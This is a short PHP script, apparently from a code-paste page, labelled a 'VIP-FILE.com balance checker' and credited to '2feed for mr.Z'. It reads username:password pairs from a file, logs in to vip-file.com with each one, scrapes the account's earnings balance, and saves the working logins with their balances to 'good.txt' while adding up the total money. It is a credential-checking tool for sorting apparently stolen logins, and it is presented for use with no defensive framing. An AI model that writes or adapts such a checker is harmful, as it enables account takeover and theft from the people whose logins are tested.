php coded by 2feed for mr VIP-FILE com_balance_checker set_time_limit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
//++++++++++++++++++++++++++++++++++++++++++
//+++++++++coded by 2feed for mr.Z++++++++++
//+++++++VIP-FILE.com_balance_checker+++++++
//++++++++++++++++++++++++++++++++++++++++++
@set_time_limit(0);
@ini_set('max_execution_time',0);
$i=0;
$all=0;
$accounts=array();
$fp=fopen("accounts.txt","r");
if(!$fp)
{
echo "Rock and Roll!";
exit;
}
while(!feof($fp))
{
$accounts[$i]=fgets($fp,4096);
$i++;
}
fclose($fp);
$i-=1;
while($i>=0)
{
list($name,$pass)=split(":",$accounts[$i]);
echo $name;
$post_fields = 'l='.$name.'&p='.$pass.'&Submit=%C2%CE%C9%D2%C8';
$lurl = "http://vip-file.com/ftp/set_coockie.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$lurl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_followlocation, 1);
curl_setopt($ch,CURLOPT_COOKIEJAR,"cookie.txt");
$result= curl_exec ($ch);
curl_close ($ch);
$purl = "http://vip-file.com/earn/show_stats_new.php";
$ch=curl_init ();
curl_setopt($ch, CURLOPT_URL,$purl);
curl_setopt ($ch, CURLOPT_HEADER, 1 );
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_COOKIEFILE,"cookie.txt");
$result=curl_exec ($ch);
curl_close($ch);
preg_match('/<div align="center" class="style2">(.*)Ballanse include bonus factor \$([\s0-9]+)<font color="silver">/si',$result,$balance);
echo "Money:".$balance[2];
$fp=fopen("good.txt","a");
if(!$fp)
{
echo "Rock and Roll!";
exit;
}
$result=$name.":".trim($pass).":".$balance[2]."\n";
fputs($fp,$result);
fclose($fp);
$all+=trim($balance[2]);
$i--;
}
echo "Good, All Money: $ ".$all;
?>